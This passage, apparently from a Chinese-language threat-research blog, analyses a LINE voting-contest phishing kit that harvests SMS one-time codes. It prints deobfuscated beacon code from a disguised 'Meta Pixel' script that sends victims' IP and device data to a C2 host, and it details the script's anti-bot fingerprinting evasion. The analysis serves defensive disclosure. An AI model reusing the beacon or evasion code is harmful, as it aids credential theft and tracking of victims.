<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">schedule</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(failures </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">?</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">5000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">][Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">min</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(failures </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">:</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span></code></pre></figure>
<figure class="diagram"><svg viewBox="0.00 0.00 433.00 425.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="review.js 的狀態轉移">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 421.12)">
<polygon fill="none" stroke="none" points="-4,4 -4,-421.12 429.2,-421.12 429.2,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="93.6" cy="-395.06" rx="61.62" ry="22.06"></ellipse>
<text text-anchor="middle" x="93.6" y="-390.86" font-family="Helvetica,sans-Serif" font-size="14.00">後台操作員</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M175.2,-325C175.2,-325 12,-325 12,-325 6,-325 0,-319 0,-313 0,-313 0,-289 0,-289 0,-283 6,-277 12,-277 12,-277 175.2,-277 175.2,-277 181.2,-277 187.2,-283 187.2,-289 187.2,-289 187.2,-313 187.2,-313 187.2,-319 181.2,-325 175.2,-325"></path>
<text text-anchor="middle" x="93.6" y="-305.2" font-family="Helvetica,sans-Serif" font-size="14.00">awaiting_code</text>
<text text-anchor="middle" x="93.6" y="-288.4" font-family="Helvetica,sans-Serif" font-size="14.00">請輸入簡訊驗證碼</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M93.6,-372.71C93.6,-362 93.6,-348.77 93.6,-336.65"></path>
<polygon fill="currentColor" stroke="currentColor" points="97.1,-337.01 93.6,-327.01 90.1,-337.01 97.1,-337.01"></polygon>
<text text-anchor="middle" x="128.61" y="-346" font-family="Helvetica,sans-Serif" font-size="10.00">推播 reentry 彈窗</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M175.2,-229C175.2,-229 12,-229 12,-229 6,-229 0,-223 0,-217 0,-217 0,-193 0,-193 0,-187 6,-181 12,-181 12,-181 175.2,-181 175.2,-181 181.2,-181 187.2,-187 187.2,-193 187.2,-193 187.2,-217 187.2,-217 187.2,-223 181.2,-229 175.2,-229"></path>
<text text-anchor="middle" x="93.6" y="-209.2" font-family="Helvetica,sans-Serif" font-size="14.00">pending</text>
<text text-anchor="middle" x="93.6" y="-192.4" font-family="Helvetica,sans-Serif" font-size="14.00">等待人工確認</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M93.6,-276.76C93.6,-265.92 93.6,-252.78 93.6,-240.78"></path>
<polygon fill="currentColor" stroke="currentColor" points="97.1,-240.81 93.6,-230.81 90.1,-240.81 97.1,-240.81"></polygon>
<text text-anchor="middle" x="120" y="-250" font-family="Helvetica,sans-Serif" font-size="10.00">提交 6 位數碼</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M413.2,-229C413.2,-229 250,-229 250,-229 244,-229 238,-223 238,-217 238,-217 238,-193 238,-193 238,-187 244,-181 250,-181 250,-181 413.2,-181 413.2,-181 419.2,-181 425.2,-187 425.2,-193 425.2,-193 425.2,-217 425.2,-217 425.2,-223 419.2,-229 413.2,-229"></path>
<text text-anchor="middle" x="331.6" y="-209.2" font-family="Helvetica,sans-Serif" font-size="14.00">rejected</text>
<text text-anchor="middle" x="331.6" y="-192.4" font-family="Helvetica,sans-Serif" font-size="14.00">請重新輸入簡訊驗證碼</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M187.66,-205C200.43,-205 213.59,-205 226.53,-205"></path>
<polygon fill="currentColor" stroke="currentColor" points="226.32,-208.5 236.32,-205 226.32,-201.5 226.32,-208.5"></polygon>
<text text-anchor="middle" x="212.6" y="-211" font-family="Helvetica,sans-Serif" font-size="10.00">人工退回</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M175.2,-133C175.2,-133 12,-133 12,-133 6,-133 0,-127 0,-121 0,-121 0,-97 0,-97 0,-91 6,-85 12,-85 12,-85 175.2,-85 175.2,-85 181.2,-85 187.2,-91 187.2,-97 187.2,-97 187.2,-121 187.2,-121 187.2,-127 181.2,-133 175.2,-133"></path>
<text text-anchor="middle" x="93.6" y="-113.2" font-family="Helvetica,sans-Serif" font-size="14.00">approved</text>
<text text-anchor="middle" x="93.6" y="-96.4" font-family="Helvetica,sans-Serif" font-size="14.00">驗證成功</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M93.6,-180.76C93.6,-169.92 93.6,-156.78 93.6,-144.78"></path>
<polygon fill="currentColor" stroke="currentColor" points="97.1,-144.81 93.6,-134.81 90.1,-144.81 97.1,-144.81"></polygon>
<text text-anchor="middle" x="110.27" y="-154" font-family="Helvetica,sans-Serif" font-size="10.00">人工通過</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M237.7,-190.69C234.86,-190.44 232.05,-190.2 229.27,-190 219.48,-189.29 209.31,-189.2 199.14,-189.55"></path>
<polygon fill="currentColor" stroke="currentColor" points="198.99,-186.05 189.18,-190.04 199.34,-193.04 198.99,-186.05"></polygon>
<text text-anchor="middle" x="212.6" y="-193" font-family="Helvetica,sans-Serif" font-size="10.00">重新提交</text>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M175.2,-48C175.2,-48 12,-48 12,-48 6,-48 0,-42 0,-36 0,-36 0,-12 0,-12 0,-6 6,0 12,0 12,0 175.2,0 175.2,0 181.2,0 187.2,-6 187.2,-12 187.2,-12 187.2,-36 187.2,-36 187.2,-42 181.2,-48 175.2,-48"></path>
<text text-anchor="middle" x="93.6" y="-28.2" font-family="Helvetica,sans-Serif" font-size="14.00">completed</text>
<text text-anchor="middle" x="93.6" y="-11.4" font-family="Helvetica,sans-Serif" font-size="14.00">投票已完成</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M93.6,-84.88C93.6,-77.03 93.6,-68.08 93.6,-59.54"></path>
<polygon fill="currentColor" stroke="currentColor" points="97.1,-59.8 93.6,-49.8 90.1,-59.8 97.1,-59.8"></polygon>
</g>
</g>
</svg><figcaption>review.js 的狀態轉移</figcaption></figure>
<p>判讀：<code>rejected → 重輸碼</code> 這條轉移在自動化收割場景不存在——沒有理由「拒絕」一組已收下的
OTP 再索取新碼。唯一合理成因是<strong>後台端登入嘗試失敗</strong>（碼過期／需要第二因子），
需受害者補發新鮮 OTP。即後台為真人與 LINE 登入流程即時競速。</p>
<p>佐證兩點：</p>
<ul>
<li>每 3 秒輪詢 <code>/api/request-status.php</code>（失敗時退避 2／3／5 秒）：把受害者滯留於頁面，維持 OTP 時效窗。</li>
<li><code>validCode()</code> 過濾 <code>111111</code>、<code>121212</code>、<code>123123</code> 這類重複碼與 <code>123456</code>、<code>654321</code> 這類連號：阻擋以測試碼探測流程。</li>
</ul>
<p>收單端點（三套 kit 對應不同實作）：</p>
<ul>
<li><strong>Kit A</strong>（Vue SPA，<code>繪畫大公投</code>）：SPA 路由 <code>/auth/verify</code>、<code>/auth/second</code>、<code>/vote</code>、<code>/users</code>。頁面同時載入偽 Meta Pixel 遙測載荷（見下一節）。</li>
<li><strong>Kit B</strong>（PHP + session，<code>繪畫比賽 · test</code>）：<code>/auth/verify.php</code>（<code>action=send</code> / <code>submit_code</code> / <code>complete</code>）、<code>/api/request-status.php</code> 輪詢、<code>/api/visit.php</code> 訪客回報。</li>
<li><strong>Kit C</strong>（PHP，<code>寶寶創意繪畫</code>）：<code>/vote-verify.php</code>、<code>/api/external_verify.php?action=verify|commit</code>、<code>/api/vote.php</code>（<code>action=send_code</code> / <code>vote</code>）。CSS 直接用 LINE 品牌色，作品圖上傳日期到 9/23、9/24，仍在活躍營運。</li>
</ul>
<p>Kit B 的 <code>visit.php</code> 值得單獨看：頁面一 <code>visible</code> 就把 <code>poll_id</code>、<code>path</code>、<code>referrer</code>（截 500 字）連同一組 <code>csrf</code> / <code>proof</code> 回報後台——受害者還沒填任何欄位，後台就已經知道「有人正在看這條連結」，用來即時盯著誰上鉤。</p>
<p>Kit C 有一個 <code>verifyMode</code> 開關，值可為 <code>standard</code> / <code>api</code> / <code>line</code> / <code>line_direct</code>：</p>
<ul>
<li><code>api</code> 模式在受害者<strong>還在輸入手機號</strong>時就先打 <code>external_verify.php?action=commit</code>，讓後台預先對該號發起登入、把回傳的 <code>mailaddress</code> 綁到這支手機號；等碼填進來再打 <code>?action=verify</code>。整個過程有一條 <code>__chatSend()</code> 通道把每一步狀態即時推給後台的操作員對話視窗——又一個人工在線的證據。</li>
<li><code>line</code> / <code>line_direct</code> 模式則直接跳過驗證、只記投票，是用來混充「正常投票」的幌子分支。</li>
</ul>
<h2 id="偽裝成-meta-pixel-的-anti-bot-指紋引擎" class="phrased">偽裝<wbr>成 Meta Pixel 的 anti-bot 指紋<wbr>引擎</h2>
<p>Kit A 的頁面在畫面外掛一個看不見的 iframe（<code>left:-1000px; width:0; height:0</code>），
裡面載入 <code>/MetaPixel/MetaPixel.html</code> → <code>pixel.js</code>（約 50 KB，重度混淆）。
名字借用 Meta Pixel，但它跟 Meta 沒有任何關係。</p>
<p>混淆手法（靜態還原、未執行）：字串被拆成整數陣列再用 XOR／位元打包還原，
主體是一段 <code>new Function(atob(...))</code>（約 30 KB）裡再包兩個 base64 模組，
其中一個自帶一份 SHA-256、用 <code>BigInt</code> 做運算把邏輯藏起來。
第二階段路徑同樣是打包字串：<code>/MetaPixel/7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js</code>。</p>
<p>剝掉混淆後，核心其實就這幾行（我把混淆變數名還原、邏輯照抄）：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 取受害者公網 IP</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> ip</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> await</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">await</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> fetch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"https://ipv4.icanhazip.com"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)).</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">text</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 從 UA 解出 OS 與版本 → "IOS 18.1" / "Android 14.0" / "Windows 10.0" ...</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> deviceVersion</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> parseOsFromUserAgent</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(navigator.userAgent);</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 回報給 C2，channelCode 是硬編碼的投放通路代碼</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">await</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> fetch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"https://basic-being-basic.top/api/ip-sync/sync"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  method: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"POST"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  headers: { </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"Content-Type"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"application/json"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> },</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  body: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">JSON</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">stringify</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">({</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    channelCode: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"CHMK6IG08F42496C22"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    ip, deviceVersion,</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    domain: window.location.hostname</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  })</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">});</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">setInterval</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(sync, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">10000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);                        </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 每 10 秒回報一次</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">setInterval</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(() </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> parent.location.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">reload</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(), </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">180000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">); </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 每 3 分鐘 reload 父頁</span></span></code></pre></figure>
<p>也就是說，這支「Pixel」是一支<strong>歸因遙測 beacon</strong>：</p>
<figure class="diagram"><svg viewBox="0.00 0.00 479.00 188.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="偽 Meta Pixel 的 beacon 行為">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 184)">
<polygon fill="none" stroke="none" points="-4,4 -4,-184 475.15,-184 475.15,4 -4,4"></polygon>

<g class="node">

<polygon fill="none" stroke="currentColor" points="172.8,-114 0,-114 0,-66 172.8,-66 172.8,-114"></polygon>
<text text-anchor="middle" x="86.4" y="-94.2" font-family="Helvetica,sans-Serif" font-size="14.00">受害者裝置</text>
<text text-anchor="middle" x="86.4" y="-77.4" font-family="Helvetica,sans-Serif" font-size="14.00">（隱藏 iframe）</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="460.27,-180 287.47,-180 287.47,-132 460.27,-132 460.27,-180"></polygon>
<text text-anchor="middle" x="373.87" y="-160.2" font-family="Helvetica,sans-Serif" font-size="14.00">ipv4.icanhazip.com</text>
<text text-anchor="middle" x="373.87" y="-143.4" font-family="Helvetica,sans-Serif" font-size="14.00">GET → 取公網 IP</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M173.05,-109.8C205.51,-117.31 242.69,-125.9 276.1,-133.63"></path>
<polygon fill="currentColor" stroke="currentColor" points="275.27,-137.03 285.8,-135.87 276.85,-130.21 275.27,-137.03"></polygon>
<text text-anchor="middle" x="224.69" y="-131.91" font-family="Helvetica,sans-Serif" font-size="10.00">① 取 IP</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="471.15,-114 276.59,-114 276.59,-66 471.15,-66 471.15,-114"></polygon>
<text text-anchor="middle" x="373.87" y="-94.2" font-family="Helvetica,sans-Serif" font-size="14.00">解析 navigator.userAgent</text>
<text text-anchor="middle" x="373.87" y="-77.4" font-family="Helvetica,sans-Serif" font-size="14.00">→ IOS 18.1 / Android 14 …</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M173.05,-90C201.88,-90 234.44,-90 264.77,-90"></path>
<polygon fill="currentColor" stroke="currentColor" points="264.76,-93.5 274.76,-90 264.76,-86.5 264.76,-93.5"></polygon>
<text text-anchor="middle" x="224.69" y="-93" font-family="Helvetica,sans-Serif" font-size="10.00">② 取裝置版本</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="460.27,-48 287.47,-48 287.47,0 460.27,0 460.27,-48"></polygon>
<text text-anchor="middle" x="373.87" y="-28.2" font-family="Helvetica,sans-Serif" font-size="14.00">basic-being-basic.top</text>
<text text-anchor="middle" x="373.87" y="-11.4" font-family="Helvetica,sans-Serif" font-size="14.00">/api/ip-sync/sync</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M173.06,-66.39C179.06,-64.86 185.01,-63.39 190.8,-62 218.4,-55.39 248.51,-48.84 276.15,-43.09"></path>
<polygon fill="currentColor" stroke="currentColor" points="276.85,-46.51 285.94,-41.06 275.44,-39.66 276.85,-46.51"></polygon>
<text text-anchor="middle" x="224.69" y="-77" font-family="Helvetica,sans-Serif" font-size="10.00">③ POST JSON</text>
<text text-anchor="middle" x="224.69" y="-65" font-family="Helvetica,sans-Serif" font-size="10.00">每 10 秒一次</text>
</g>
</g>
</svg><figcaption>偽 Meta Pixel 的 beacon 行為</figcaption></figure>
<p>送給 C2 的 body 長這樣：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="json" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="json" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">{ </span><span style="--shiki-light:#024C1A;--shiki-dark:#72F088">"channelCode"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"&#x3C;投放通路代碼>"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#024C1A;--shiki-dark:#72F088">"ip"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"&#x3C;受害者公網 IP>"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#024C1A;--shiki-dark:#72F088">  "deviceVersion"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"IOS 18.1"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#024C1A;--shiki-dark:#72F088">"domain"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"&#x3C;當前釣魚域名>"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> }</span></span></code></pre></figure>
<p><code>channelCode</code>（樣本裡看到 <code>CHMK6IG08F42496C22</code>、<code>YBRD8UXT6ZF59</code> 這類硬編碼常數）
是<strong>投放通路 / 分潤代碼</strong>：這是一套會分帳的體系，後台要知道每個受害者是從哪條散布管道來的。
載荷還每 180 秒 reload 一次父頁，把受害者黏在頁面上。
所以這支「Pixel」的用途不是網頁分析，而是<strong>把受害者的 IP、裝置、來源通路即時回報給 C2</strong>，
好和他等一下填進來的手機號對起來。</p>
<h3 id="但-beacon-只是最後一步——前面是一整套-anti-bot-指紋閘門" class="phrased">但 beacon 只是<wbr>最後<wbr>一步——<wbr>前面<wbr>是一<wbr>整套 anti-bot 指紋<wbr>閘門</h3>
<p>把 <code>pixel.js</code> 的兩個 base64 模組完全解開後，才發現 beacon 之前有一層<strong>反自動化 + 真人真機驗證</strong>。
一個模組是純混淆（BigInt 數值密碼器，遮罩 <code>2^39−1</code>，把字串藏起來）；另一個才是本體，
在回報 C2 之前依序檢查：</p>
<ul>
<li><code>navigator.webdriver === true</code> → <strong>偵測 Selenium / headless，命中直接中止</strong>。</li>
<li><strong>MathML 渲染指紋</strong>：塞一個 <code>&#x3C;math mathcolor="blue">&#x3C;mn>14&#x3C;/mn>&#x3C;/math></code>，讀回算出來的顏色是不是
<code>rgb(0, 0, 255)</code>——headless／無頭環境渲染 MathML 的結果不一樣。</li>
<li><strong>WebRTC</strong>：探 <code>RTCIceGatherer</code>、<code>RTCPeerConnection</code>（含 <code>moz</code> / <code>webkit</code> 變體）。</li>
<li>WebGL（GPU 指紋）、IndexedDB、WebSQL <code>openDatabase</code>、<code>localStorage</code>（抓無痕／被插樁環境）、
<code>TouchEvent</code> / <code>navigator.maxTouchPoints</code>（真手機驗證）、<code>platform</code>（<code>MacIntel</code>…）。</li>
</ul>
<figure class="diagram"><svg viewBox="0.00 0.00 438.00 323.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="beacon 前的真人真機閘門">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 319.4)">
<polygon fill="none" stroke="none" points="-4,4 -4,-319.4 433.57,-319.4 433.57,4 -4,4"></polygon>

<g class="node">

<polygon fill="none" stroke="currentColor" points="308.39,-315.4 121.19,-315.4 121.19,-279.4 308.39,-279.4 308.39,-315.4"></polygon>
<text text-anchor="middle" x="214.79" y="-293.2" font-family="Helvetica,sans-Serif" font-size="14.00">訪客載入隱藏 iframe</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="214.79,-242.4 0,-177.6 214.79,-112.8 429.57,-177.6 214.79,-242.4"></polygon>
<text text-anchor="middle" x="214.79" y="-190.2" font-family="Helvetica,sans-Serif" font-size="14.00">navigator.webdriver？</text>
<text text-anchor="middle" x="214.79" y="-173.4" font-family="Helvetica,sans-Serif" font-size="14.00">MathML 顏色？WebRTC？</text>
<text text-anchor="middle" x="214.79" y="-156.6" font-family="Helvetica,sans-Serif" font-size="14.00">WebGL / IndexedDB / touch？</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M214.79,-279.02C214.79,-272.01 214.79,-263.41 214.79,-254.21"></path>
<polygon fill="currentColor" stroke="currentColor" points="218.29,-254.29 214.79,-244.29 211.29,-254.29 218.29,-254.29"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="206.39,-64.8 19.19,-64.8 19.19,0 206.39,0 206.39,-64.8"></polygon>
<text text-anchor="middle" x="112.79" y="-45" font-family="Helvetica,sans-Serif" font-size="14.00">真人真機</text>
<text text-anchor="middle" x="112.79" y="-28.2" font-family="Helvetica,sans-Serif" font-size="14.00">→ beacon 回報 C2</text>
<text text-anchor="middle" x="112.79" y="-11.4" font-family="Helvetica,sans-Serif" font-size="14.00">→ 派送第二階段載荷</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M177.09,-123.68C165.44,-107.32 152.79,-89.56 141.81,-74.15"></path>
<polygon fill="currentColor" stroke="currentColor" points="144.75,-72.25 136.1,-66.13 139.05,-76.31 144.75,-72.25"></polygon>
<text text-anchor="middle" x="171.32" y="-85.8" font-family="Helvetica,sans-Serif" font-size="10.00">全部通過</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="411.39,-56.4 224.19,-56.4 224.19,-8.4 411.39,-8.4 411.39,-56.4"></polygon>
<text text-anchor="middle" x="317.79" y="-36.6" font-family="Helvetica,sans-Serif" font-size="14.00">研究者 / headless / 爬蟲</text>
<text text-anchor="middle" x="317.79" y="-19.8" font-family="Helvetica,sans-Serif" font-size="14.00">→ 中止，什麼都不做</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M252.55,-124.09C266.6,-104.56 282.12,-82.98 294.5,-65.78"></path>
<polygon fill="currentColor" stroke="currentColor" points="297.14,-68.1 300.14,-57.94 291.46,-64.01 297.14,-68.1"></polygon>
<text text-anchor="middle" x="298.2" y="-85.8" font-family="Helvetica,sans-Serif" font-size="10.00">任一命中</text>
</g>
</g>
</svg><figcaption>beacon 前的真人真機閘門</figcaption></figure>
<p>這解開了先前一個矛盾：被動擷取（curl / WebFetch）明明「沒看到 UA 或 geo cloaking」，
卻只拿得到 OG 外殼。原因是 <strong>cloaking 根本不在伺服器端，而在這支客戶端指紋引擎</strong>——
它先確認你是真手機真人，才讓後面的流程跑起來。佐證：第二階段載荷
<code>/MetaPixel/&#x3C;sha1>.min.js</code> 對一個普通 GET 回 <strong>404</strong>，只派送給通過指紋檢查的真裝置，
研究者與爬蟲永遠抓不到。</p>
<p>把 50 KB 的 <code>pixel.js</code> 裡所有隱藏字串（57 條）全解出來後也可以確認：
<strong>整條攻擊鏈只有一個 C2</strong>（<code>basic-being-basic.top</code>）＋一個取 IP 的 <code>ipv4.icanhazip.com</code>，
沒有藏第二個外連。混淆只是層數多（模組化 base64 + 自帶 SHA-256 + 每陣列 XOR/位元打包），
不是真正的加密。</p>
<h2 id="後台結構-自-vue-bundle-靜態還原-未登入" class="phrased">後台<wbr>結構<wbr>（自 Vue bundle 靜態<wbr>還原，<wbr>未<wbr>登入）</h2>
<p>bundle 內嵌後台路由：</p>
<pre tabindex="0"><code>/daoline/login
/daoline/accounts       // 被盜帳號清單
</code></pre>
<p><code>daoline</code> = 「盜 LINE」拼音，攻擊者自命名。</p>
<p>後台 UI 字串（自 bundle 抽出）：</p>
<pre tabindex="0"><code>后台管理登录 · 工作台 · 子账号管理 · 号台 · 语音提示 · 授權投票 · 退出登录
</code></pre>
<p>歸因推論：</p>
<ul>
<li>後台 UI 為<strong>簡體</strong>、受害者頁面為<strong>繁體</strong> → 操作端中國大陸、目標台灣。[strong]</li>
<li>存在 <code>子账号管理</code> / <code>号台</code> → 多操作員、多租戶體系 = phishing-as-a-service，非單人。[strong]</li>
</ul>
<p>唯讀狀態探測（僅讀 HTTP 狀態碼，未取資料）：</p>
<pre tabindex="0"><code>admin.&#x3C;redacted>            → 403  (operator IP allowlist)
&#x3C;kitA>/daoline/login        → 200  (同源 SPA 公開登入牆)
&#x3C;kitA>/daoline/accounts     → 404  (資料在登入後 API 之後)
</code></pre>
<p><code>/daoline/login</code> 另以 headless Chrome 載入一次截圖，確認是 <code>后台管理登录</code> 頁（<code>账号</code>／<code>密码</code>／<code>登录</code>，簡體字）；未輸入任何欄位、未點登入、未往下一頁走：</p>
<p><img src="/images/line-vote-phishing/daoline-backend-login.png" alt="盜號集團的後台登入頁，簡體中文「后台管理登录」，帳號與密碼欄位、綠色登入鈕" width="1920" height="1290" loading="lazy" decoding="async"></p>
<h3 id="技術棧與權限模型-把-vue-bundle-beautify-後靜態還原" class="phrased">技術<wbr>棧與<wbr>權限<wbr>模型<wbr>（把 Vue bundle beautify 後<wbr>靜態<wbr>還原）</h3>
<p>把 Kit A 的 Vue bundle 展開後，後台的樣子比登入頁透露的更完整：</p>
<ul>
<li><strong>後端框架是 ThinkPHP 6</strong>（bundle 裡漏了一句錯誤字串 <code>"${t} - ThinkPHP6"</code>），前端是 Vue 3 SPA。</li>
<li>localStorage 存這幾把鑰匙：<code>daoline_admin_token</code>、<code>daoline_admin_authed</code>、<code>daoline_admin_username</code>、
<code>daoline_admin_role</code>（值是 <code>main</code> 或 <code>sub</code>）、<code>daoline_voice_notify_enabled</code>（語音提示，預設開）。</li>
